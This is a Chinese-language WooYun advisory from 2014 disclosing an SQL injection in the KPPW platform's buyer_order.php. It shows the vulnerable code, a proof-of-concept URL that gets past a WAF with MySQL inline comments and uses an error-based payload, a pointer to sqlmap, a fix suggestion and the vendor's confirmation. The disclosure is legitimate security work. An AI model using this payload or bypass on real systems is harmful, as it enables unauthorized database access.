当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086168

漏洞标题:KPPW最新版SQL注入漏洞一

相关厂商:keke.com

漏洞作者: xfkxfk

提交时间:2014-12-08 19:19

修复时间:2015-03-08 19:20

公开时间:2015-03-08 19:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-08: 细节已通知厂商并且等待厂商处理中
2014-12-09: 厂商已经确认,细节仅向厂商公开
2014-12-12: 细节向第三方安全合作伙伴开放
2015-02-02: 细节向核心白帽子及相关领域专家公开
2015-02-12: 细节向普通白帽子公开
2015-02-22: 细节向实习白帽子公开
2015-03-08: 细节向公众公开

简要描述:

KPPW最新版SQL注入一

详细说明:

KPPW最新版SQL注入一
文件/control/gy/buyer_order.php

switch ($step) {
......
case 'step5':
if($arrServiceOrderInfo['workfile']){
$arrFileLists = db_factory::query('select file_name,save_name from '.TABLEPRE.'witkey_file where file_id in('.$arrServiceOrderInfo['workfile'].')');
}
if(isset($action)){
switch ($action) {
case 'acceptance':
$objShop = new service_shop_class();
$resText = $objShop->dispose_order ( $orderId, 'complete' );
unset($objShop);
if(true === $resText){
kekezu::show_msg('订单处理完成,该订单已完成',$strUrl."&step=step6&orderId=".$orderId,3,null,'ok');
}else{
kekezu::show_msg($resText,null,null,null,'fail');
}
break;
default:
kekezu::show_msg('访问页面不存在','index.php',3,null,'warning');
break;
}
}
break;


注意看这里:

if($arrServiceOrderInfo['workfile']){
$arrFileLists = db_factory::query('select file_name,save_name from '.TABLEPRE.'witkey_file where file_id in('.$arrServiceOrderInfo['workfile'].')');
}


$arrServiceOrderInfo['workfile']直接进入SQL语句导致SQL注入
这里怎么就是赤裸裸的注入啊

漏洞证明:

这里有waf,不过很简单,内联注释即可绕过了
POC:

http://localhost/KPPW2520141118UTF-8/index.php?do=gy&view=buyer_order&step=step5&arrServiceOrderInfo[workfile]=123) and 1=2 /*!50000union*/ select 1,2 from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b%23


导致盲注
看mysql执行日志:

1.png


成功绕过,并执行
看这条语句的执行结果:

2.png


因为是盲注,显示不了数据,要跑数据的话,使用sqlmap既可以了。

修复方案:

变量$arrFileLists在这里没有用到啊,不知道是干啥的,删了吧
或者加引号保护

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-12-09 11:50

厂商回复:

漏洞已修改
-QK

最新状态:

暂无